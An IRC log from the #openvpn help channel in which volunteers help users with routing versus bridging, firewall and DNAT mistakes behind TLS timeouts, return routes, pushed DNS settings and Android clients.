07:42 -!- ptero_ [~ku@37-4-128-169-dynip.superkabel.de] has joined #openvpn
07:43 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 260 seconds]
07:44 < ptero_> i'm using arch linux and i want to set up openvpn (and the specific software) so that that software (like deluge and chromium) would only use the vpn tunnel and everything else would go over my normal connection. is it possible?
07:44 <@EugeneKay> !routebyapp
07:44 <@vpnHelper> "routebyapp" is if you want to send only certain apps over the VPN you need to run a socks server on the internal VPN subnet (see !sockd) then get an app like proxifier (windows, osx) or tsocks (linux, BSD) to selectively route traffic over the socks proxy based on port/app/subnet or any combination.
07:44 -!- JesseC [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
07:45 < ptero_> !sockd
07:45 <@vpnHelper> "sockd" is if you want !routebyapp you can use this dante config www.ircpimps.org/sockd.conf but BE SURE TO ONLY RUN THIS ON THE INTERNAL VPN IP! otherwise you will be an open proxy. that config has no security because its expected to run inside openvpn
07:47 < ptero_> erm, is it only possible to set it up for a static ip address?
07:47 <@EugeneKay> Sure. Add a route(on the client) for that IP.
07:48 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
07:49 < and`> ecrist, for "grab" I meant, is the tap interface supposed to have the same IP as its bridge assigned? asking that cause my tap interface looks like this now: http://www.fpaste.org/cRtE/raw/
07:50 < jzaw> ecrist, i set link-mtu on both server.conf and client.conf
07:50 < jzaw> but i can stll max out my server uplink via ipv4 on the tunnel
07:50 < jzaw> 54% 2000KB 115.3KB/s   00:14 ETA
07:50 < jzaw> where as ipv6 on tunnel ....
07:50 < jzaw> 6%  240KB   4.4KB/s - stalled -
07:51 < jzaw> link-mtu 1400
07:51 <@ecrist> jzaw: ok, so try changing to a tun device, or get a real internet connection. :)
07:51 <@ecrist> see what happens
07:52  * jzaw will try tun
07:52 < ptero_> EugeneKay: i believe, vpntunnel.se only offers dynamic ips, so what would happen after the ip changes? would the apps just lose connection or could something worse happen? ;)
07:53 <@EugeneKay> We don't support commercial services
07:54 < ptero_> but could you answer the question?
07:54 < ptero_> (maybe i should go for pptp, i believe it's possible to set up with it (should google again))
07:55 <@EugeneKay> I'm not sure what the problem is?
07:57 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
07:57 -!- Ar_d [~a@195.53.165.128] has joined #openvpn
07:57 < Ar_d> hi
07:58 < Ar_d> does anyone know if I can use an openvpn server with the native windows vpn clinet ?
07:58 < Anon2013> Not as far as I know - community server + community client .
07:58 <@EugeneKay> No. openvpn is openvpn.
07:59 < Anon2013> Unless you code your own client but AFAIK that's not possible or legal .
08:00 <@EugeneKay> Why the hell would you bother
08:00 <@EugeneKay> !download
08:00 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
08:00 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
08:00 < Ar_d> It's a pitty I love open but need to use windows client :P
08:01 < ptero_> EugeneKay: well, like i said, let's say, i set it up (not sure how to do it yet) for the specific ip and then i lose the connection and the ip changes. would i just lose the connection for those apps configured to run over the proxy and have to reconfigure the socks server and would nothing else happen? this sentense "disassured" me - (BE SURE TO ONLY RUN THIS ON THE INTERNAL VPN IP! otherwise you will be an open proxy. that config has no secu
08:07 -!- Anon2013 [~Anon2013@ns1.mastermindnetworks.org] has quit [Ping timeout: 272 seconds]
08:09 -!- Ar_d [~a@195.53.165.128] has quit [Quit: Lost terminal]
08:14 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:15 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 256 seconds]
08:15 -!- takamich_ is now known as takamichi
08:16 < and`> ecrist, what is currently confusing me is the fact I have two NICs, one binded to a public ip and the other binded to an internal IP, what I did is creating a bridge and a tap interface for the internal interface but thinking about it some more, there is no way for the packets from the eth0 interface (the one binded to the public ip) to be bridged correctly since my bridge is configured to serve only the internal interface, what would you suggest in this
08:16 < and`>  case?
08:16 < and`> and tcpdump obviously reports no packets coming on the relevant port
08:17 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
08:21 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has quit [Ping timeout: 630 seconds]
08:23 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Read error: Connection reset by peer]
08:23 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
08:23 -!- erry_ is now known as erry
08:24 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
08:28 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
08:44 -!- pagios [~pagios@46.19.194.111] has quit [Ping timeout: 246 seconds]
08:55 <@dazo> and`: I see you say "bridging" ... and by default, I ask people to read this first: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
08:55 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
08:57 -!- pagios [~pagios@46.19.194.79] has joined #openvpn
08:58 -!- brute11k [~brute@89.249.235.221] has quit [Quit: Leaving.]
08:59 -!- brute11k [~brute@89.249.235.221] has joined #openvpn
08:59 < and`> dazo, what made me using "bridging" is the fact I want all the vpn clients to have an ip from the local network assigned, what I didn't want is having them to use another subnet, like routing does.
09:00 <@dazo> and`: okay ... why is that important?
09:02 < and`> dazo, pretty much all the services we have are binded to a back channel which is closed down for security reasons, what I wanted to achieve is having a few external machines (and for external I mean not being on the same rack at the others) connected to the VPN and access the resources on the back channel
09:03 < and`> dazo, also, a few machines are supposed to not have a public IP at all, and those should be accessible only through the back channel
09:04 <@dazo> The reason I ask, is that bridging is really making things far more complicated than what people normally are able to comprehend .... Yes, there are use cases where bridging is the only right solution.  However, during those 3-4 years I've been active on this channel, I've seen those use cases about 4-5 times .... and your requirements seems not to be a good fit for bridging
09:05 <@dazo> What you describe here is the typical prime example for using routing ... not bridging
09:07 <@dazo> routing requires just the firewall rules on your "back-channel" servers to open up for the VPN subnet ..... and the OpenVPN configurations just ensures the clients sets up the proper routing via the VPN tunnel .... the VPN clients use the normal server IP's (or hostnames) as it would be connected locally
09:08 < and`> dazo, accessing other subnets is actually possible with routing so I'll be able to access other subnets than the one OpenVPN will have assigned, and that's what I actually need, for a moment I thought that wasn't possible
09:08 <@dazo> it's all about routing and firewalling ... and that will give you the best performing setup in addition
09:09 < and`> and when is bridging actually the only solution?
09:09 <@dazo> f.ex. when broadcast traffic is required for the applications to function
09:10 <@dazo> it's not just one use case for bridging ... but this is the most typical use case for bridging
09:10 < rob0> or non-IP protocols
09:10 <@novaflash> or when you need to cross a stream
09:10 <@novaflash> and ghostbusters told us not to cross the streams
09:11 < rob0> When a stream gets cross, watch out.
09:11 <@novaflash> yikes
09:11 <@novaflash> i remember that back from when Noah built that ark
09:11 < rob0> yes
09:11 <@novaflash> wiped out the dinosaurs
09:13 <@novaflash> i'm sorry, i'm not making a good contribution. here: routing is the better solution - more control, more efficient, more manageable. bridging is a nightmare for vpn stuff, and only in very rare cases it would be necessary to use bridging.
09:13 <@novaflash> with bridging, if for example you have one application doing a lot of broadcasting traffic anywhere in your network or vpn clients - it will affect performance of the vpn tunnels badly.
09:14 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:15 < jzaw> !ping
09:15 <@vpnHelper> pong
09:16 <@dazo> and`: If you ignore the IP addresses ... does this kind of look similar to your network setup?  http://www.fpaste.org/bQr8/
09:16 -!- joshie [~josh@joshie.net] has joined #openvpn
09:17 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
09:18 < and`> dazo, yes, that's exactly what I have
09:19 -!- combsbj [~Brandon@74-136-165-178.dhcp.insightbb.com] has joined #openvpn
09:19 < and`> except the second firewall, so smth like this: http://www.fpaste.org/C1n4/raw/
09:19 <@dazo> and`: okay ... for a routed setup ... the "Internal firewall" and the "FIREWALL/OpenVPN server" need to allow 10.8.0.0/24 subnet to access hosts in the 10.50.20.0/24 .....
09:20 <@dazo> and then the OpenVPN server need these two lines:  push "route 192.168.0.0 255.255.255.0"   and   push "route 10.50.20.0 255.255.255.0 192.168.0.10"
09:20 -!- Sickness\ is now known as [KuT]Sickness
09:20 <@dazo> And that's all which is needed to make this work
09:21 <@dazo> and`: If your setup is even closer to the original drawing I took from the Bridging vs Routing wiki page ... then you have all the needed info in that wiki page
09:22 <@dazo> https://community.openvpn.net/openvpn/wiki/BridgingAndRouting#Usingrouting ... to avoid any confusion
09:22 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
09:23 < and`> dazo, thanks a lot! looking into that now!
09:32 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
09:33 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
09:38 -!- badserii [~badan@95.65.58.105] has quit [Ping timeout: 272 seconds]
09:43 -!- jtrucks_ is now known as jtrucks
09:56 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 240 seconds]
09:56 -!- [KuT]Sickness is now known as Sickness\
09:59 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has joined #openvpn
09:59 < pie_> can an openvpn commandline client fit into 152kb?
10:02 -!- pagios_ [~pagios@46.19.194.77] has joined #openvpn
10:02 <@EugeneKay> Possibl
10:02 -!- pagios [~pagios@46.19.194.79] has quit [Ping timeout: 240 seconds]
10:03 < and`> dazo, the server starts just fine, no errors on the logs, but on the client I'm getting a "TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)", doing a tcpdump on the eth0 interfaces grepping for packets being sent on port 1194 returns nothing, and the rule to route the packets from the external network interface (to port 1194) to the internal interface on the same port is there already (http://www.fpaste.o
10:03 < and`> rg/z3It/raw/), anything else I might have forgot?
10:03 < and`> dazo, paste is http://www.fpaste.org/z3It/raw/
10:03 < pie_> firewall?
10:03 < and`> the rule for port 1194 is there, (-A INPUT -p udp -m udp --dport 1194 -j ACCEPT)
10:03 <@dazo> and`: sounds like firewall issue
10:04 <@dazo> and`: can you pastebin the output of 'iptables-save' ?
10:04 < and`> sure
10:04 < and`> sec
10:04 < pie_> when I suspect firewall issues i test by completely disabling the firewall
10:04 < pie_> temporarily of course
10:04 < rob0> "Your problem is probably firewall, Really"
10:04 <@krzee> :D
10:05 < pie_> oh, hello topic, xD
10:05 < pie_> !help
10:05 <@vpnHelper> (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
10:06 < and`> dazo, changed the IPs, but this should be it: http://www.fpaste.org/dc2N/raw/
10:06 <@dazo> and`: and your server and client config uses --proto udp  ?
10:07 < and`> let me double check to be really sure
10:07 <@dazo> oh wait
10:07 <@dazo> -A PREROUTING -i eth0 -p udp -m udp --dport 1194 -j DNAT --to-destination 192.168.0.1:1194
10:07 < rob0> you're DNATing 1194/udp to an internal host?
10:07 <@dazo> this will cause havoc
10:07 < rob0> If so you have to enable IP forwarding.
10:08 < rob0> Also, the INPUT rule will never be hit.
10:08 <@dazo> unless you're running openvpn on an internal server .... which in that case, the ascii-art drawing isn't matching the reality
10:08 <@dazo> correct as well
10:09 <@dazo> and`: so first control question:  Where is your openvpn server running?  on the same box as your iptables firewall?
10:09 < and`> dazo, yes
10:09 <@dazo> okay ... then you need to remove that DNAT line
10:09 < rob0> then why do you DNAT it away?
10:11 < and`> I was tracked away by the possible solutions to the above problem, totally misread that
10:12 <@dazo> ahh, okay
10:12 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
10:13 < and`> dazo, no success, I get the same error as before, and the iptables rules should be correct now
10:13 -!- raidz_away is now known as raidz
10:13 < rob0> yes, I answered that already: ... you have to enable IP forwarding.
10:13 <@dazo> and`: eth0 is your public facing NIC?  (with the public IP)
10:13 < and`> dazo, exactly
10:14 < and`> rob0, net.ipv4.ip_forward = 1 is there already
10:14 <@dazo> if so run this: # tcpdump -ni eth0 port 1194 and udp
10:15 <@dazo> when you try to connect ... do you then see any traffic?
10:15 < and`> no traffic at all
10:15 <@dazo> okay ... then you need to figure out why the traffic doesn't hit your server
10:16 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:16 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has quit [Ping timeout: 272 seconds]
10:16 -!- pie_ [~pie_@78-131-20-239.pool.hdsnet.hu] has joined #openvpn
10:16 -!- pie_ [~pie_@78-131-20-239.pool.hdsnet.hu] has quit [Changing host]
10:16 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has joined #openvpn
10:16 -!- pagios_ is now known as pagios
10:16 < rob0> oh, the error is a client getting a timeout on connection?
10:17 <@dazo> yeah
10:18 <@krzee> !timeout
10:18 <@vpnHelper> "timeout" is if you see TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity) then your problem is likely one of the following: either the server isnt running, your client is connecting to the wrong ip/port/protocol, the server's firewall/nat has an issue, or the client's isp blocks it
10:20 < and`> dazo, damn...the extra firewall installed on the network blocks all the ports except a few exceptions...and I was like looking around for all the possible solutions to that error since 1. the server is up 2. iptables has the right enabled port in it 3. my ISP doesn't block any port
10:20 < and`> so there wasn't anything much left to review..
10:21 < and`> dazo, rob0: thanks a lot for your help, you've been great
10:21 <@dazo> no worries
10:24 -!- u0m3 [~Radu@109.96.151.137] has quit [Read error: Connection reset by peer]
10:25 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:27 -!- u0m3 [~Radu@109.96.168.114] has joined #openvpn
10:29 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
10:36 -!- bjh4 [~bjh4@12.239.198.1] has joined #openvpn
10:43 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
10:45 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:46 -!- erry [erry@freenode/staff/erry] has quit [Quit: Segmentation fault]
10:47 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
10:47 -!- erry_ is now known as erry
10:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:50 -!- JSharpe [~JSharpe@90.211.142.250] has joined #openvpn
10:51 -!- Sickness\ is now known as sickness\
10:53 -!- zu [~zu@ks387228.kimsufi.com] has quit [Ping timeout: 252 seconds]
10:53 -!- sitaktif1 [~sitaktif@kollok.org] has quit [Ping timeout: 252 seconds]
10:53 -!- JSharpe_ [~JSharpe@ns2306746.ovh.net] has quit [Ping timeout: 272 seconds]
10:54 -!- zu [~zu@ks387228.kimsufi.com] has joined #openvpn
10:59 -!- sitaktif1 [~sitaktif@kollok.org] has joined #openvpn
11:00 -!- pagios [~pagios@46.19.194.77] has quit [Quit: Leaving]
11:02 -!- mattock_afk is now known as mattock
11:06 -!- brute11k [~brute@89.249.235.221] has quit [Quit: Leaving.]
11:07 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
11:07 -!- hg_5_ [~chatzilla@ip-37-209-135-217.free.aero2.net.pl] has joined #openvpn
11:07 -!- hg_5_ [~chatzilla@ip-37-209-135-217.free.aero2.net.pl] has quit [Client Quit]
11:10 -!- brute11k [~brute@89.249.235.221] has joined #openvpn
11:11 -!- JSharpe [~JSharpe@90.211.142.250] has quit [Quit: Leaving]
11:12 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
11:12 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has joined #openvpn
11:13 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
11:14 -!- lirime is now known as liriel-
11:16 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has quit [Client Quit]
11:16 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:16 -!- mode/#openvpn [+v s7r] by ChanServ
11:19 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
11:34 -!- ajolo__ [~ariel@190.192.82.41] has joined #openvpn
11:35 < ajolo__> Hi guys, I'm trying to debug a VPN issue. Using Linux as server, a Mikrotik as client
11:36 < ajolo__> The tunnel connects, I can see both sides of the tunnel, but I can't see behind the client nor behind the server
11:36 < ajolo__> I'm currently running on verb 7 trying to understand what could be wrong
11:36 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: ZNC - http://znc.in]
11:36 < ajolo__> Routes are fine, if I ping from one side of the network I see the packets trough tcpdump, but they can't return somehow
11:37 < Poster> make sure ip routing is enabled on both sides
11:37 < Poster> and remote networks are defined as routes via the openvpn link
11:37 < pekster> ajolo__, do you have LANs behind both clients?
11:37 < ajolo__> pekster: yes
11:38 < ajolo__> Poster they are
11:38 < pekster> Work through one at a time via:
11:38 < pekster> !clientlan
11:38 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
11:38 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
11:38 < pekster> !serverlan
11:38 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
11:42 < ajolo__> pekster: thanks !
11:42 < ajolo__> Going through the chart, but I think I've done all of that :/
11:42 < ajolo__> I'm currently checking for ip-forwarding on the MK
11:43 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
11:43 < pekster> Firewalls are a common problem (just see the /TOPIC.)
11:43 < pekster> Too often people swear up and down it's not a firewall, and it ends up being a firewall
11:43 < ajolo__> pekster: I know, but there are none in between
11:43 -!- badserii [~badan@95.65.58.105] has joined #openvpn
11:43 < pekster> Liberal use of packet captures can help
11:44 < ajolo__> pekster: what would that be ?
11:45 < pekster> Capture packet traffic each step of the way; it's obiously getting lost somewhere
11:45 < ajolo__> pekster: I did that
11:46 < pekster> "but they can't return somehow" <-- so what does your capture show on the "other" end??
11:46 < pekster> I said capture *each* step of the way, not just do it at one end and complain it never comes back
11:47 < ajolo__> I ping from the client, the go trough the server, they reach the destination; the destination send the the reply but I don't see it back on the server
11:47 < ajolo__> And the destination and the server are on the same subnet
11:47 < pekster> Return routing set up properly on the LAN?
11:47 < pekster> Probably not
11:47 < pekster> That's on the flowchart
11:48 < ajolo__> pekster: the destination has a route to the client's LAN via the server
11:48 < pekster> Then you'd see the packet leave the destination and arrive on the inside interface of the server
11:48 < pekster> Check the L2 address if you don't
11:49 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
11:51 < ajolo__> pekster: arping ?
11:51 < pekster> In your packet capture
11:51 < pekster> Verify that the packet is doing where it's supposed to. It's pretty obvious it's not since a tcpdump will show dropped traffic too
11:52 < pekster> Your route apparently isn't working, or you've messed up your packet cature
11:52 < pekster> going*
11:53 < ajolo__> pekster: from a local lan host I ping a client's lan host
11:54 < ajolo__> I see the packets through the vpn server
11:54 < ajolo__>     172.16.0.13 > 172.16.130.1: ICMP echo request, id 61293, seq 54, length 64
11:55 < pekster> And if your route is screwed up, that's going to the wrong L2 host
11:56 < pekster> (likely your default gateway on the LAN)
11:56 < ajolo__> 172.16.130.0    172.16.0.21     255.255.255.0   UG    0      0        0 br0
11:56 < ajolo__> 172.16.130.0/24 is the client's lan
11:56 < ajolo__> 172.16.0.21 is the vpn server
11:56 < pekster> And since you don't see the traffic, can't we assume it's not getting there?
11:56 < pekster> Figure out why
11:57 < pekster> tcpdump and confirm the L2 destination on the reply. Like I said before
11:58 < pekster> If it's linux with a single default routing table, 'ip route get <dest_ip>' should show you what the kernel would do for a packet. Policy routing could make things more complicated too
11:58 < pekster> Packets don't vanish (outside of hardware problems.) They're either stopped by a firewall, or imporperly routed
11:59 < ajolo__> 172.16.130.2 via 172.16.52.2 dev tun1  src 172.16.52.1
11:59 < ajolo__>     cache  mtu 1500 advmss 1460 hoplimit 64
11:59 < ajolo__> That seems OK, in the server
11:59 < ajolo__> In a local host:
11:59 < ajolo__> 172.16.130.2 via 172.16.0.21 dev br0  src 172.16.0.13
11:59 < ajolo__>     cache
11:59 < ajolo__> That would also seem OK
12:01 < pekster> You're not listening. Good luck, becuase I'm not explaining it a 3rd time. You're completely ignoring the L2 headers, and the sooner you stop that the sooner you might find out where they're getting lost
12:02 < ajolo__> pekster: I'm gooling tcpdump to see the mac addresses
12:02 < ajolo__> I am listening
12:08 < ajolo__> running tcpdump -e but I don't see L2 traffic :S
12:09 -!- Lnx1 [~x@93.114.44.253] has joined #openvpn
12:11 < pekster> 'tcpdump -epni ethX icmp'
12:11 < pekster> On the destination, obviously. Since you don't see traffic on the server, doing it there is silly
12:15 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has joined #openvpn
12:18 < Lnx1> greetings. I'm trying to setup a bridged openvpn as I did successfully before, however this time I'm having touble integrating it in a vlan. I just need some clues regarding the interfaces' configuration as this is the point of failure. debian 7.0 64bit. any help is appreciated
12:21 < ajolo__> pekster: the mac addresses seem fine
12:21 < ajolo__> 14:19:23.598507 a4:ba:db:45:1b:de > 8c:89:a5:ee:ba:37, ethertype IPv4 (0x0800), length 70: 172.16.52.2 > 172.16.0.13: ICMP echo request, id 642, seq 111, length 36
12:21 < ajolo__> 14:19:23.598529 8c:89:a5:ee:ba:37 > 00:15:c5:f9:f3:ed, ethertype IPv4 (0x0800), length 70: 172.16.0.13 > 172.16.52.2: ICMP echo reply, id 642, seq 111, length 36
12:22 < ajolo__> wait... no
12:24 < ajolo__> pekster: it's going to the default gw
12:24 < ajolo__> But I have routes for the client's lan through the vpn server
12:28 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
12:29 < sw0rdfish> I have this install script for openvpn written for OpenVZ, can it work on a kvm vps?
12:30 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
12:37 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
12:40 < combsbj> how can I tell from an android device, what dns servers are being sent form openvpn server?
12:41 < Lnx1> can someone experienced give me a hint about interface configuration with openvpn and vlan? a few answers should be enough, either in the channel or private. thanks
12:42 -!- bjh4 [~bjh4@12.239.198.1] has quit [Quit: Leaving]
12:46 <@dazo> Lnx1: openvpn doesn't support vlan in itself ... but when using tap, vlan tags should be transported as tap mode transport Ethernet frames
12:50 <@plaisthos> combsbj: depens on the client
12:50 <@plaisthos> combsbj: are you using openvpn connet or openvpn for android?
12:51 < Lnx1> dazo, I know, I've installed the vlan package to make the virtual interface work alongside openvpn. the machine is a server with one static ip address. the goal is to have multiple clients connected, with internet access and connectable between each other in a 10.8.0.0/16 subnet
12:51 < sw0rdfish> hmmmm.
12:51 < combsbj> connect...I did just see the pref "use google dns for fallback".. I assume that's what it was doing
12:52 < combsbj> beucase I can't resolve any private addresses
12:53 < sw0rdfish> I think I should be ok using the script, right?
12:53 <@dazo> Lnx1: and how exactly did imagine this would work out?
12:54 < combsbj> do I need to push "dhcp-option DNS x.x.x.x" in ovpn file?
12:55 <@dazo> (remember that in TAP mode ... openvpn tunnel is basically two virtual network cards on two different hosts with a virtual cable in between them ... so you would basically do the same as you do in physical networking)
12:55 <@dazo> combsbj: do you want your VPN clients to use a specific DNS server?
12:55 < combsbj> just my internal dns which resolve .local
12:55 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
12:56 <@dazo> combsbj: okay ... your internal DNS must also resolve external hostnames as well (so called caching dns) ... otherwise your clients will only be able to access your .local hostnames and nothing else  (which breaks general network surfing, f.ex)
12:57 < combsbj> it has forwarders, yes
12:57 < combsbj> and root hints
12:57 <@dazo> in that case ... you want to push dhcp-options to your client
12:57 < combsbj> all internal clients only use internal dns
12:57 < combsbj> ok
12:57 < combsbj> thanks
12:58 < combsbj> can I add that to server config, or have to redeploy ovpn files?
12:59 <@dazo> combsbj: if you add to your server config:  push "dhcp-option DNS x.x.x.x"'    ... then all clients will get this .... otherwise you need to add this into all client configs: dhcp-option DNS x.x.x.x
12:59 < combsbj> got it
12:59 < combsbj> thanks..so push is only used in server side config
13:00 <@dazo> --push on the server side pushes config settings to the client side .... but not all options are pushable
13:00 < combsbj> i see
13:00 <@dazo> --push will not work on the client side
13:00 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has quit [Quit: pie_]
13:01 <@dazo> Lnx1: if you have something to say .... say it here
13:01 < combsbj> so, no way to actually view on android connect lcient to verify they were pushed?
13:02 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
13:02 <@dazo> combsbj: depending on which OpenVPN client you use on Android .... "OpenVPN for Android" provides pretty good log access .... but I dunno about the other alternatives
13:02 < combsbj> would be nice if it was in connection info with client and server ip and port
13:03 <@dazo> combsbj: you would need --verb 4 or higher to see what was pushed and processed
13:03 < combsbj> i think this is the "official" connect client
13:03 < combsbj> ok
13:04 <@plaisthos> dazo, combsbj: openvpn for android will show on touching on the info button in the log the current tun configuration including dns, routes and ips
13:04 <@plaisthos> No idea about connect. I don't use that client ...
13:04 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
13:04 <@dazo> plaisthos: is that maybe because you like to use your own code instead? ;-)
13:05 <@plaisthos> dazo: possible ;)
13:06 < combsbj> well, sounds like a reason to give yours a try :)
13:06 < Lnx1> dazo, I have set up a bridged openvpn in the past, connected to a physical LAN. now the aim is to have all the connected clients freely connectable between them in a private subnet, in addition to internet access. is a vlan required for this task?
13:06 <@dazo> plaisthos: btw!  I like the new layout ... where you see the profiles instantly and can connect at the first screen
13:08 <@dazo> Lnx1: so you want to provide a hub for all users ... where all clients can reach other connected VPN clients?
13:08 <@dazo> (in addition to Internet access)
13:08 < Lnx1> dazo, yes, that's it
13:09 <@dazo> well, then you don't need VLAN at all ... do you need the broadcast traffic between the clients?   (is this a net for gaming, f.ex?)
13:09 < combsbj> openvpn for android did not like "--resolv-retry infinite" in my ovpn file
13:10 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:10 < Lnx1> the point is to be as versatille as possible, as if they were all connected as in a LAN. with broadcast included
13:11 <@dazo> Lnx1: okay ... if that is a strict requirement, you need to be aware of the consequences of TAP .... it scales poorly, mainly because of the broadcast traffic
13:11 <@dazo> if you have too many clients connected who broadcasts a lot .... your VPN will mainly be transporting broadcasts and not "real" data
13:12 < combsbj> plaisthos, does openvpn for android support tap without rooting?
13:12 -!- Tster [~test@199.195.142.159] has joined #openvpn
13:12 <@dazo> combsbj: only tun, iirc
13:13 < Lnx1> dazo, that should be no problem. what are the main directions regarding this setup?
13:13 <@dazo> Lnx1: that being said .... you don't need bridging either .... it should be enough with a pretty much standard setup .... and you might want to read up and experiment with --client-to-client too
13:13 < combsbj> :/
13:14 <@dazo> Lnx1: and you need to look at what happens on your firewall on the openvpn server too ... ensure that the tap traffic isn't blocked in the forwarding rules
13:14 <@dazo> combsbj: blame Google ... they're the ones imposing this restriction ... however, tun makes most sense ... that's what performs best and have the least overhead
13:15 < combsbj> yea I think I'll be mostly just using my phone as wifi hostspot and connecting vpn client form laptop anyway..where broadcast woul dbe nice
13:16 < combsbj> i start traveling for my job on monday..trying to get it all squared away so I can work on my hosted environment form hotel rooms
13:17 <@dazo> combsbj: well, the dirty hack around this .... is to have your mobile wifi hotspot with openvpn running tun ... and then on your work laptop run another openvpn tunnel to the place where you need that broadcast traffic
13:18 < combsbj> ah, ok
13:18 < pekster> ajolo__: Obviously your client isn't using it. This route is on the *destination*, not the server, right?
13:19 < pekster> ajolo__: The right way to do this is have the LANs gateway have the return route. You can hack return connectivity by adding a return route on every single LAN system, but that's not correct bi-directional routing
13:20 <@plaisthos> combsbj: hm about the --resolv-retry infinite, taht should not be a problem. Did you get an error?
13:20 <@plaisthos> combsbj: for tap see the FAQ
13:21 <@plaisthos> !android
13:21 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
13:21 < combsbj> well, looks like it is pushing three dns servers ips...itself, followed by my two bind servers
13:21 < Lnx1> dazo, but in order for client broadcasts to be possible ain't a bridging setup required?
13:21 <@plaisthos> dazo: mobile as hotspot does work with openvpn
13:21 < combsbj> plaisthos, no, just said could not parse and added to custom section or something to that affect
13:21 <@dazo> plaisthos: oh!?  ugh
13:22 <@dazo> Lnx1: only if you want broadcast traffic between a LAN and the VPN
13:22 <@plaisthos> dazo: see FAQ :D
13:22 <@dazo> and you didn't state any LAN requirements
13:22 <@dazo> plaisthos: in our household, only my wife has an Android .... and she's not at home now :-P
13:22 <@plaisthos> dazo: under hotspot :)
